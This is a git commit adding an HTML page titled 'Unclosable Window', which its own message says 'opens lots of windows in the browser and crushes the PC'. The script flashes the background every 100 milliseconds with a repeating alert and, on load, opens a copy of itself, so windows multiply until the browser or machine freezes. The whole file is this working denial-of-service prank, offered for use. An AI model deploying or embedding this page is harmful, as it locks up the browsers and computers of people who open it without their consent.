Opens lots of windows in the browser and crushes the PC.

This commit is contained in:
Minhas Kamal
2017-01-19 01:19:58 +06:00
committed by GitHub
parent 2ff5eeafd9
commit de3e387acb

33
unclosable.html Normal file
View File

@@ -0,0 +1,33 @@
<!-- Source: http://jsenabled.blogspot.com/2011/09/9-funniest-javascript-effects.html -->
<!-- Opens lots of windows in the browser and crushes the PC. -->
<html>
<head>
<title>Unclosable Window</title>
<script>
activ = window.setInterval("Farbe()", 100);
farbe=1;
function Farbe() {
if(farbe==1) {
document.bgColor="FFFF00";
farbe=2;
}else {
document.bgColor="FF0000";
farbe=1;
}
alert("ok");
}
function erneut(){
window.open(self.location,'');
}
window.onload = erneut;
</script>
</head>
<body>
<h1>Unclosable Window</h1>
</body>
</html>